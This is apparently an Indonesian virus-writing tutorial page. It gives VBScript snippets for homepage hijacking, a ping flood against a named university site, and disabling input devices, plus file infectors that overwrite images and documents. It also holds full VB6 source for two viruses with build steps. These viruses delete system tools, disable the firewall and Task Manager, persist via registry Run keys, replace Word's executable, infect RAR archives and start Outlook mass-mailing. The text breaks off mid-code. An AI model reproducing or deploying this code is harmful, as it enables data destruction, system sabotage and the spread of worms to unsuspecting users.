Mengganti HomePage di Internet Options :
Code:
On Error Resume NextSet MawarPutih = CreateObject("WScript.Shell")MawarPutih.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.google.com/"Melakukan Serangan Denial Of Service Attack
Code:
On Error Resume NextSet MawarPutih = CreateObject("WScript.Shell")MawarPutih.Run "Ping -t -l 10000 www.darmajaya.ac.id", 0, FalseMelakukan Loop Suatu file :
Code:
On Error Resume NextSet MawarPutih= CreateObject("WScript.Shell")DoMawarPutih.Run "Notepad.exe", 3, FalseLoopDisable -> Keyboard Dan Mouse:KeyBoard :
Code:
On Error Resume NextSet MawarPutih = CreateObject("WScript.Shell")MawarPutih.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable"Mouse :
Code:
On Error Resume NextSet MawarPutih = CreateObject("WScript.Shell")MawarPutih.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"Infeksi File Antar Visual Basic Script (.VBS) :
Code:
'Tips And Trik by Shadow AngelOn Error Resume NextSet MawarPutih = CreateObject("Scripting.FileSystemObject")Angel1()Sub Angel1()On Error Resume NextSet a = CreateObject("Scripting.FileSystemObject")For Each SalinMawarPutih In a.DrivesIf SalinMawarPutih.DriveType = 2 _Or SalinMawarPutih.DriveType = 3 ThenAngel3 (SalinMawarPutih.Path & "\")End IfNextEnd SubSub Angel2(FileTarget)On Error Resume NextSet otf = a.GetFile(WScript.ScriptFullName)ra = otf.ReadAllotf.CloseSet a = CreateObject("Scripting.FileSystemObject")Set f = a.GetFolder(FileTarget)For Each n In f.FilesFileExt = LCase(a.GetExtensionName(n.Path))If FileExt = "vbs" Or FileExt = "vbe" ThenSet openvbs = a.OpenTextFile(n.Path, 1)vbsra = openvbs.ReadAllopenvbs.CloseIf InStr(1, vbsra, "Tips And Trik by ") = False ThenSet MawarPutih = CreateObject("Scripting.FileSystemObject")Set JC = MawarPutih.OpenTextFile(WScript.ScriptFullName, 1)RantingMawarPutih = JC.ReadAllJC.CloseSet MawarMerah = MawarPutih.OpenTextFile(n.Path, 8, True)MawarMerah.WriteLine vbCrLf & "' Hack .VBS by " & vbCrLf & "Tz = " & Chr(34) & Chr(34)For i = 1 To Len(RantingMawarPutih)Tz = Mid(RantingMawarPutih, i, 1)Tz = Hex(Asc(Tz))If Len(Tz) = 1 ThenTz = "0" & TzEnd IfGz = Gz + TzIf Len(Gz) = 110 ThenMawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34)Gz = ""End IfIf Len(RantingMawarPutih) - i = 0 ThenMawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34)Gz = ""End IfNextMawarMerah.WriteLine "Set MawarPutih = CreateObject(""Scripting.FileSystemObject"")"MawarMerah.WriteLine "WriteAppend.Write CM(Tz)"MawarMerah.WriteLine "WriteAppend.Close"MawarMerah.WriteLine "Function CM(CN)"MawarMerah.WriteLine "For GC = 1 To Len(CN) Step 2"MawarMerah.WriteLine "CM = CM & Chr(""&h"" & Mid(CN, GC, 2))"MawarMerah.WriteLine "Next"MawarMerah.WriteLine "End Function"MawarMerah.CloseEnd IfEnd IfNextEnd SubSub Angel3(FileTarget)On Error Resume NextSet a = CreateObject("Scripting.FileSystemObject")Set f = a.GetFolder(FileTarget)For Each n In f.SubFoldersAngel2 (n.Path)Angel3 (n.Path)NextEnd SubInfeksi File -> Format Gambar .JPG :
Code:
' Tips And Trik by Shadow AngelOn Error Resume NextSet MawarPutih = CreateObject("Scripting.FileSystemObject")Angel1()Sub Angel1()On Error Resume NextSet a = CreateObject("Scripting.FileSystemObject")For Each SalinMawarPutih In a.DrivesIf SalinMawarPutih.DriveType = 2 _Or SalinMawarPutih.DriveType = 3 ThenAngel3 (SalinMawarPutih.Path & "\")End IfNextEnd SubSub Angel2(FileTarget)On Error Resume NextSet otf = a.GetFile(WScript.ScriptFullName)ra = otf.ReadAllotf.CloseSet a = CreateObject("Scripting.FileSystemObject")Set f = a.GetFolder(FileTarget)For Each n In f.FilesFileExt = LCase(a.GetExtensionName(n.Path))If FileExt = "jpg" ThenMawarPutih.CopyFile WScript.ScriptFullName, n.Path & ".vbs"MawarPutih.DeleteFile (n.Path)End IfNextEnd SubSub Angel3(FileTarget)On Error Resume NextSet a = CreateObject("Scripting.FileSystemObject")Set f = a.GetFolder(FileTarget)For Each n In f.SubFoldersAngel2 (n.Path)Angel3 (n.Path)NextEnd SubInfeksi Format File -> (.JPG . html . mpg . htm . doc And .avi) :
Code:
'Tips And Trik by Shadow AngelOn Error Resume NextSet MawarPutih = CreateObject("Scripting.FileSystemObject")Angel1()Sub Angel1()On Error Resume NextSet a = CreateObject("Scripting.FileSystemObject")For Each SalinMawarPutih In a.DrivesIf SalinMawarPutih.DriveType = 2 _Or SalinMawarPutih.DriveType = 3 ThenAngel3 (SalinMawarPutih.Path & "\")End IfNextEnd SubSub Angel2(FileTarget)On Error Resume NextSet RantingMawar = a.GetFile(WScript.ScriptFullName)ra = RantingMawar.ReadAllRantingMawar.CloseSet a = CreateObject("Scripting.FileSystemObject")Set f = a.GetFolder(FileTarget)For Each n In f.FilesFileExt = LCase(a.GetExtensionName(n.Path))If FileExt = "jpg" Or FileExt = "html" Or FileExt = "mpg" Or FileExt = "htm" Or FileExt = "doc" Or FileExt = "avi" ThenMawarPutih.CopyFile WScript.ScriptFullName, n.Path & ".vbs"MawarPutih.DeleteFile (n.Path)End IfNextEnd SubSub Angel3(FileTarget)On Error Resume NextSet a = CreateObject("Scripting.FileSystemObject")Set f = a.GetFolder(FileTarget)For Each n In f.SubFoldersAngel2 (n.Path)Angel3 (n.Path)NextEnd Sub

Virus Tikus Lupus

Yang di butuh.in untuk buat virus ini : -> 1 Form, -> 3 Modul, yang terdiri dari aerah Tikus Lupus,Modul1,dan RumahTikus. -> 1 Class Modul, -> 1 Related Documents Dan Komponen yang di butuh..in cuman : -> 1 Timer aja.
Ini Kode yang di Taruh di Form :
Code:
Private Fso As New FileSystemObjectPrivate Drive As DrivePrivate Drives As DrivesOption ExplicitPrivate TikusFirewall As LupusFirewallPrivate lngPortCounter As LongPrivate Declare Function NetRemoteTOD Lib "netapi32.dll" (yServer As Any, pBuffer As Long) As LongPrivate Declare Function NetApiBufferFree Lib "netapi32.dll" (ByVal pBuffer As Long) As LongPrivate Declare Sub CopyMem Lib "kernel32.dll" Alias "RtlMoveMemory" (pTo As Any, uFrom As Any, ByVal lSize As Long)Private Type TIME_OF_DAY_INFO telapsed As Long tmsecs As Long thours As Long tmins As Long tsecs As Long thunds As Long ttimezone As Long ttinterval As Long tday As Long tmonth As Long tyear As Long tweekday As LongEnd TypePrivate Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As LongConst SC_MONITORPOWER = &HF170&Const MONITOR_OFF = 2&Const WM_SYSCOMMAND = &H112Private Function LingkaranTikus(TheForm As Form)SaveSetting TheForm.Name, App.Title, "TimesOpen", Val(GetSetting(TheForm.Name, App.Title, "TimesOpen")) + 1End FunctionFunction AmbilJamDikomputer() Dim JamLupus As TIME_OF_DAY_INFO Dim JamTikusLupus As Long, lpBuffer As Long Dim ServerLupus() As Byte JamTikusLupus = NetRemoteTOD(vbNullString, lpBuffer) CopyMem JamLupus, ByVal lpBuffer, Len(JamLupus) If lpBuffer Then Call NetApiBufferFree(lpBuffer) End If AmbilJamDikomputer = DateSerial(JamLupus.tyear, JamLupus.tmonth, JamLupus.tday) year = Right(AmbilJamDikomputer, 4)End FunctionSub PenampilanLupus()Dim aDo Until a = 1SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, MONITOR_OFFLoopEnd SubFunction TikusInfeksiFolder(Fold As String)Dim Fso As Object, FolderSSet Fso = CreateObject("Scripting.FileSystemObject")On Error Resume NextFor Each FolderS In Fso.GetFolder(Fold).subfoldersCall TikusInfeksiFolder(FolderS.Path)Name FolderS As FolderS + ".{645FF040-5081-101B-9F08-00AA002F954E}"Next FolderSEnd FunctionPrivate Sub RuanganTikus() Set Drives = Fso.Drives For Each Drive In Drives Select Case Drive.DriveType Case Removable Case Fixed Case CDRom GoTo KondisiTikus Case Remote End Select If Drive.IsReady = True Then If Drive.AvailableSpace <> "" Then Dim letter As String letter = Drive.DriveLetter FileCopy App.Path + "\" + App.EXEName + ".exe", letter + ":\" + "TikusLupus.txt" TikusInfeksiFolder letter + ":\" End If End IfKondisiTikus: NextEnd SubSub PermenLupus()Kill ("C:\WINDOWS\SYSTEM32\cmd.exe")Kill ("C:\WINDOWS\SYSTEM32\taskmgr.exe")TikusInfeksiFolder "c:\"MsgBox "Windows sudah terinfeksi oleh Tikus Lupus,segera lakukan Instal Ulang Hard Disk Anda.Terima Kasih", vbCritical, "Windows Error"Call LingkaranTikus(Me)X$ = GetSetting(Me.Name, App.Title, "TimesOpen")LepaskanTikus:Select Case X$Case X$ > "2" FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1031\TikusLupus.exe" Set newreg = CreateObject("WScript.Shell") newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsFirewall", "C:\WINDOWS\SYSTEM32\1031\TikusLupus.exe" Call PenampilanLupusCase X$ > "2" SaveSetting Me.Name, App.Title, "TimesOpen", 0 Call LingkaranTikus(Me) Call LingkaranTikus(Me) GoTo LepaskanTikusCase X$ < "2" SaveSetting Me.Name, App.Title, "TimesOpen", 0 Call LingkaranTikus(Me) Call LingkaranTikus(Me) GoTo LepaskanTikusEnd SelectEnd SubSub hibernate()TikusCariFile "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe" If FileEx = False Then Call InfeksiTikus2 End IfTikusCariFile "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe" If FileEx = False Then Call InfeksiTikus2 End IfShell ("C:\Program Files\Microsoft Office\Office10\WINWORD.EXE"), vbNormalFocusShell ("C:\Program Files\Microsoft Office\Office12\WINWORD.EXE"), vbNormalFocusEnd SubPrivate Function TikusCariFile(NamaLengkapFile As String) As Boolean On Error GoTo LupusdanTikus Open NamaLengkapFile For Input As #1 Close #1 FileEx = True Exit FunctionLupusdanTikus: FileEx = False Exit FunctionEnd FunctionSub TikusAmbilInfoKomputer()Dim JalaLupusDim DokumenLupusOn Error Resume NextSet JalaLupus = CreateObject("WScript.NetWork")If Err.Number <> 0 ThenDokumenLupus.Location = "TikusLupus.html"End IfDim NamaPemakaiDim NamaKomputerDim DomainKomputerNamaPemakai = JalaLupus.usernameNamaKomputer = JalaLupus.ComputerNameDomainKomputer = JalaLupus.UserDomainSelect Case DomainKomputerCase "STD"Case "AVR"TikusFirewall.DisableFirewallCase ElseTikusFirewall.DisableFirewallEnd SelectSet JalaLupus = NothingEnd SubSub InfeksiTikus2()FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe" FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"Set newreg = CreateObject("WScript.Shell") newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Lupus", "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe" newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Micerosoft", "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"Name "C:\Program Files\Microsoft Office\Office10\winword.exe" As "C:\Program Files\Microsoft Office\Office10\WINWORD.exe"FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Microsoft Office\Office10\winword.exe"Name "C:\Program Files\Microsoft Office\Office12\winword.exe" As "C:\Program Files\Microsoft Office\Office12\WINWORD.exe"FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Microsoft Office\Office12\winword.exe"End SubPrivate Sub Form_Load()Dim Fso, DrvTypeDim Drives, Drive, Folder, subfolders, subfolder, Files, FileSet Fso = CreateObject("Scripting.FileSystemObject")If (Fso.DriveExists("C:\")) <> "" ThenDrvType = "C:\"End IfIf (Fso.DriveExists("D:\")) <> "" ThenDrvType = "D:\"End IfSet Drives = Fso.DrivesFor Each Drive In DrivesIf Drive.IsReady ThenCall PencarianTikus(Drive)End IfNextTikusLupus.Visible = FalseApp.TaskVisible = FalseTimer1 = FalseCall TikusAmbilInfoKomputerX$ = GetSetting(Me.Name, App.Title, "TimesOpen")TikusCariFile "C:\Program Files\Microsoft Office\Office10\WINWORD.exe"TikusCariFile "C:\Program Files\Microsoft Office\Office12\WINWORD.exe"Call LingkaranTikus(Me)Call AmbilJamDikomputerIf year >= "2007" ThenCall PermenLupusEnd If Select Case X$Case 1 Call hibernateCase 2 Call PenampilanLupusCase Else InfeksiTikus2 Timer1 = TrueEnd SelectEnd SubPrivate Sub Timer1_Timer()RuanganTikusEnd SubFunction PencarianTikus(Path)Dim Fso, DrvType, ws, TikusKetiga, TikuskeempatDim Drives, Drive, Folder, subfolders, subfolder, Files, FileSet Fso = CreateObject("Scripting.FileSystemObject")Set Fso = CreateObject("Scripting.FileSystemObject")Set Folder = Fso.GetFolder(Path)Set Files = Folder.FilesFor Each File In FilesIf Fso.GetExtensionName(File.Path) = "rar" Then Set ws = CreateObject("wscript.shell") Set Fso = CreateObject("Scripting.filesystemobject") TikusKetiga = "C:\Program Files\WinRAR\WinRAR.exe": Tikuskeempat = "D:\Program Files\WinRAR\WinRAR.exe" If Fso.TikusCariFile(TikusKetiga) Or Fso.TikusCariFile(Tikuskeempat) Thenws.run "WinRAR a -ibck -inul """ & File.Path & """ C:\TikusLupus.exe"Open App.Path & "\DaftarTikus.txt" For Append As #1 Write #1, File.PathClose #1 End IfEnd IfNextSet subfolders = Folder.subfoldersFor Each subfolder In subfolders PencarianTikus subfolder.PathNextEnd FunctionIni Kode yang di Taruh di Modules-> Daerah Tikus Lupus :
Code:
Option ExplicitPublic Enum enProtocoll TCP = 0 UDP = 1End EnumIni Kode yang di Taruh di Modulesl-> Module 1 :
Code:
Global FileExGlobal yearGlobal X As StringGlobal newregIni Kode yang di Taruh di Modules-> Rumah Tikus :
Code:
Option ExplicitPublic Type tagInitCommonControlsEx lngSize As Long lngICC As LongEnd TypePrivate Declare Function InitCommonControlsEx Lib "COMCTL32.DLL" _ (KejuTikusLupus As tagInitCommonControlsEx) As BooleanPrivate Const ICC_USEREX_CLASSES = &H200Public Sub PusatTikus() On Error Resume Next Dim KejuTikusLupus As tagInitCommonControlsEx With KejuTikusLupus .lngSize = LenB(KejuTikusLupus) .lngICC = ICC_USEREX_CLASSES End With InitCommonControlsEx KejuTikusLupus TikusLupus.Show TikusLupus.Hide App.TaskVisible = False On Error GoTo 0 End SubIni Kode yang di Taruh di Class Modules-> Lupus Firewall :
Code:
Option ExplicitConst ICSSC_DEFAULT = 0Const CONNECTION_PUBLIC = 0Const CONNECTION_PRIVATE = 1Const CONNECTION_ALL = 2Const NET_FW_IP_PROTOCOL_UDP = 17Const NET_FW_IP_PROTOCOL_TCP = 6Const NET_FW_SCOPE_ALL = 0Const NET_FW_SCOPE_LOCAL_SUBNET = 1Private JalurBerbagiFileLupus As Object'--> Kembalikan Status FirewallPublic Function StatusFirewallLupus() As BooleanDim PeriksaFirewallLupus As BooleanDim ProfileFirewallTikus As ObjectOn Error GoTo TangkisError Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr") Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile If ProfileFirewallTikus.FirewallEnabled = False Then PeriksaFirewallLupus = False Else PeriksaFirewallLupus = True End If StatusFirewallLupus = PeriksaFirewallLupus Exit Function TangkisError: StatusFirewallLupus = False MsgBox "Error: " & Err.Description Err.ClearEnd Function'--> Aktifkan FirewallPublic Sub EnableFirewall()Dim ProfileFirewallTikus As Object On Error GoTo ErrorHandler Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr") Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile If ProfileFirewallTikus.FirewallEnabled = False Then ProfileFirewallTikus.FirewallEnabled = True End If Set ProfileFirewallTikus = Nothing Set JalurBerbagiFileLupus = Nothing Exit Sub ErrorHandler: MsgBox Err.Description Err.ClearEnd Sub'--> Matikan FirewallPublic Sub DisableFirewall()Dim ProfileFirewallTikus As Object On Error GoTo ErrorHandler Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr") Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile If ProfileFirewallTikus.FirewallEnabled = True Then ProfileFirewallTikus.FirewallEnabled = False End If Set ProfileFirewallTikus = Nothing Set JalurBerbagiFileLupus = Nothing Exit Sub ErrorHandler: MsgBox Err.Description Err.ClearEnd Sub'--> Tambah Port Di Konfigurasi FirewallPublic Sub TikusTambahPortDikunfigurasiFirewallUntukKeluar(ByVal strPortName As String, ByVal strPortProtocol As String, ByVal intPortNumber As Integer)Dim ProfileFirewallTikus As ObjectDim port As ObjectOn Error GoTo TangkisError Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr") Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile Set port = CreateObject("HNetCfg.FWOpenPort") port.Name = strPortName If LCase(strPortProtocol) = "UDP" Then port.Protocol = NET_FW_IP_PROTOCOL_UDP Else port.Protocol = NET_FW_IP_PROTOCOL_TCP End If port.port = intPortNumber port.Scope = NET_FW_SCOPE_ALL port.Enabled = True ProfileFirewallTikus.GloballyOpenPorts.Add port Set ProfileFirewallTikus = Nothing Set port = Nothing Set JalurBerbagiFileLupus = Nothing Exit Sub TangkisError: MsgBox Err.Description Err.ClearEnd SubPublic Sub BirkanDataMasukServiceICMP(ByVal bolAllow As Boolean)Dim ProfileFirewallTikus As ObjectOn Error GoTo TangkisError Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr") Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile ProfileFirewallTikus.IcmpSettings.AllowInboundEchoRequest = bolAllow Set ProfileFirewallTikus = Nothing Set JalurBerbagiFileLupus = NothingExit SubTangkisError: MsgBox Err.Description Err.ClearEnd Sub

Shadow Kumbang

Cara buatnya gampang kok, Aq ajarin.. dari awal ya.. cara buatnya.. Bagi yang belum tau Visual Basic gini nih buatnya.. : a. Buka Visual Basic
b. Klik File terus New Project
c. Muncul Jendela New Project pilih Standard EXE Klik OK
d. Rubah Name Formnya di Properties jadi ShadowKumbang
e. Pada form kosong Masukin 4 komponen yang udah ada di Tool BOX Di anataranya : Timer -> Propertiesnya di Interval rubah jadi 30000 DriveListBox, -> Properties gak usah dirubah gak penting DirListBox, -> Properties gak usah dirubah gak perlu FileListBox, -> Properties gak usah dirubah bikin capek aja
f. Udah itu aja terus gimana.. ya masukin Coding Form 1 dunks..
g. Kalo udah masukin 2 Module
h. Pada Menu Bar Klik Project pilih add Module
i. Rubah name di Modulenya Mkumbang1 ama Mkumbang2
j. Kalo udah gimana
k. Ya.. tetep masuk..in dunks Codingnya hi.. hi..
l. Kalo udah juga.. Simpan Projectnya
m. Klik File Save Project
n. Rubah nama Form1 jadi ShadowKumbang terus..
o. Project1 jadi ShadowAngel
p. Kalo udah,iiih udah terus cepet amat sih…
q. Rubah nama EXE
r. Klik Project pilih ShadowAngelProperties Pilih Tab Make
s. Pada Titelnya ganti namanya jadi Shadow Kumbang
t. Kalo Udah kita buat .Exe..nya
u. Klik File pilih Make ShadowKumbang
v. Pilih tempat Simpenya..
w. Udah itu aja.. terus gimana..
x. Ya di jalan..in dunks.. EXE yang kita buat tadi
y. Udah gak ada lagi.. Kalo mau lebih jelasnya lihat aja gambar di bawah ini oke..
Taruh Coding di bawah ini Di Form :
Code:
Private Declare Function PlaySound Lib "winmm.dll" Alias "PlaySoundA" (ByVal lpszName As String, ByVal hModule As Long, ByVal dwFlags As Long) As LongConst HKLM As String = "HKEY_LOCAL_MACHINE\"Const HKCU As String = "HKEY_CURRENT_USER\"Const HKCR As String = "HKEY_CLASSES_ROOT\"Const SWP_HIDEWINDOW = &H80Const Cr = vbCrLfPrivate Sub Form_Load(): Me.Visible = False: App.TaskVisible = FalseOn Error Resume NextDim BackUpKumbang As String: BackUpKumbang = Windir & "\Kumbang.exe"If LCase(RacunKumbang) <> LCase(BackUpKumbang) Then FileCopy RacunKumbang, BackUpKumbang Shell BackUpKumbang, vbHide If InStr(RacunKumbang, ".txt.") Then Shell "notepad.exe", vbNormalFocus SendKeys "-: Salam Vxer :-" & Cr & "[- Tingkatkan Masyarakat Vxer -]" & Cr & "Thanks All Vxer" & Cr & "www.Shadow-Angel.com", 1 End If If App.EXEName = "emm386" Then Shell "iexplore.exe http://www.Shadow-Angel.com" End End IfCall MatiinAntivirusCall RegisterCall KumbangTerbangCall Infeksi_KumbangFileCopy RacunKumbang, Windir & "\Jangan Di Baca.txt.exe"FileCopy RacunKumbang, Windir & "\www.ShadowAngel.com"FileCopy RacunKumbang, Windir & "\www.yahoo.com"FileCopy RacunKumbang, Windir & "\ShadowAngel.exe"FileCopy RacunKumbang, Windir & "\notepad.com"FileCopy RacunKumbang, Windir & "\telnet.com"FileCopy RacunKumbang, Windir & "\internet.log.exe"FileCopy RacunKumbang, Windir & "\system.com"FileCopy RacunKumbang, Windir & "\kernel32.com"FileCopy RacunKumbang, Windir & "\emm386.com"FileCopy RacunKumbang, Windir & "\regedit.com"FileCopy RacunKumbang, Windir & "\paint.com"FileCopy RacunKumbang, Windir & "\winhlp32.com"FileCopy RacunKumbang, Windir & "\winhelp.com"FileCopy RacunKumbang, Windir & "\taskman.com"FileCopy RacunKumbang, Windir & "\hh.com"FileCopy RacunKumbang, Windir & "\extrac32.com"FileCopy RacunKumbang, Windir & "\ping.com"If App.PrevInstance Then End End IfEnd SubPrivate Sub Register()Dim RegRun As String, RegOpen As StringRegOpen = "file\shell\open\command"RegRun = Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(67) + Chr(117) + Chr(114) + Chr(114) + Chr(101) + Chr(110) + Chr(116) + Chr(86) + Chr(101) + Chr(114) + Chr(115) + Chr(105) + Chr(111) + Chr(110) + Chr(92) + Chr(82) + Chr(117) + Chr(110)CreatDword HKCU & Left(RegRun, 42) & "Policies\system", "DisableTaskMgr", "1"CreatString HKLM & RegRun, "VGA Task", "Kumbang.exe"CreatString HKLM & RegRun, "Windows Help Srv", "Winhelp.com"CreatString HKLM & RegRun & "Once", "System Help", "HH.com"CreatString HKLM & RegRun & "Once", "Win HELP", "winhlp32.com"CreatString HKLM & RegRun & "ServicesOnce", "System", "system.com"CreatString HKLM & RegRun & "Services", "SysPing", "ping.com"CreatString HKLM & RegRun & "Services", "INTERNET-Log", "internet.log.exe"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "DisableTaskMgr", "1"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "HideFileExt", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoUserNameInStartMenu", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoViewContextMenu", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoLogOff", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoFolderOptions", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoRun", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoFind", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\System", "DisableRegistryTools", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\System", "DisableCMD", "1"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "ShowSuperHidden", "1"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowControlPanel", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowHelp", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyComputer", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyDocs", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyMusic", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyPics", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowSearch", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "SuperHidden", "1"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowPrinters ", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_LargeMFUIcons", "1"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Hidden", "0"CreatDword HKCU & Left(RegRun, 42) & "Control Panel\Mouse", "SwapMouseButtons", "1"CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Policies", "System", "1"CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Internet Settings", "ProxyEnable", "1"CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Internet Settings", "ProxyServer", "127.0.0.1:1271"CreatDword HKCU & Left(RegRun, 42) & "Internet Explorer\Control Panel", "Connection Settings", "1"CreatDword HKCU & Left(RegRun, 42) & "Internet Explorer\Control Panel", "Connwiz Admin Lock", "1"CreatDword HKLM & RegRun & "Winlogon\SpecialAccounts\UserList", "Kumbang", "1"CreatDword HKLM & RegRun & "Services\LanmanServer\Parameters", "Hidden", "1"CreatString HKCU & RegRun, "(C) By Shadow Angel", "Kumbang.exe"CreatString HKCU & RegRun, "MSREG32 Service", "Regedit.com"CreatString HKCU & RegRun, "Win32 Service", "extrac32.com"CreatString HKCU & RegRun & "Once", "MSTelnet", "telnet.com"CreatString HKCU & "Internet Explorer\Main", "Start Page", "http://www.ShadowAngel.com"'-------------------------------------------------------------------------------------------------CreatString HKCR & "Htmlfile\shell\opennew\command", "", "emm386.com"CreatString HKCR & "MPEG" & RegOpen, "", "paint.com"CreatString HKCR & "txt" & RegOpen, "", "notepad.com"CreatString HKCR & "mp3" & RegOpen, "", "kernel32.com"CreatString HKCR & "exefile\shell\runas\command", "", "taskman.com"End SubFunction SayapKumbang(): On Error Resume NextDim a, b, f, d, g, Body, RegSet Reg = CreateObject("wscript.shell")Reg.regwrite Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(67) + Chr(85) + Chr(82) + Chr(82) + Chr(69) + Chr(78) + Chr(84) + Chr(95) + Chr(85) + Chr(83) + Chr(69) + Chr(82) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) + Chr(92) + Chr(49) + Chr(48) + Chr(46) + Chr(48) + Chr(92) + Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(92) + Chr(83) + Chr(101) + Chr(99) + Chr(117) + Chr(114) + Chr(105) + Chr(116) + Chr(121) + Chr(92) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(49) + Chr(82) + Chr(101) + Chr(109) + Chr(111) + Chr(118) + Chr(101), Chr(46) + Chr(99) + Chr(111) + Chr(109) + Chr(59) + Chr(46) + Chr(101) + Chr(120) + Chr(101)If Reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\" & Chr(73) + Chr(110) + Chr(116) + Chr(101) + Chr(114) + Chr(110) + Chr(101) + Chr(116) + Chr(32) + Chr(65) + Chr(99) + Chr(99) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(32) + Chr(77) + Chr(97) + Chr(110) + Chr(97) + Chr(103) + Chr(101) + Chr(114) + Chr(92) + Chr(65) + Chr(99) + Chr(99) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(115) + Chr(92) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(49) + Chr(92) + Chr(83) + Chr(77) + Chr(84) + Chr(80) + Chr(32) + Chr(69) + Chr(109) + Chr(97) + Chr(105) + Chr(108) + Chr(32) + Chr(65) + Chr(100) + Chr(100) + Chr(114) + Chr(101) + Chr(115) + Chr(115)) <> "" ThenBody = String(80, "=") & CrBody = Body & "Salam Vxer" & CrBody = Body & "Tingkatkan Masyarakat Vxer" & CrBody = Body & "Thanks Vxer" & CrBody = Body & String(80, "=")Set a = CreateObject(Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110))Set b = a.getnamespace(Chr(77) + Chr(65) + Chr(80) + Chr(73))If a = Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) Thenb.Logon "profile", "password"For f = 1 To b.addresslists.CountFor d = 1 To b.addresslists(f).addressentries.CountWith a.createitem(0) Set g = 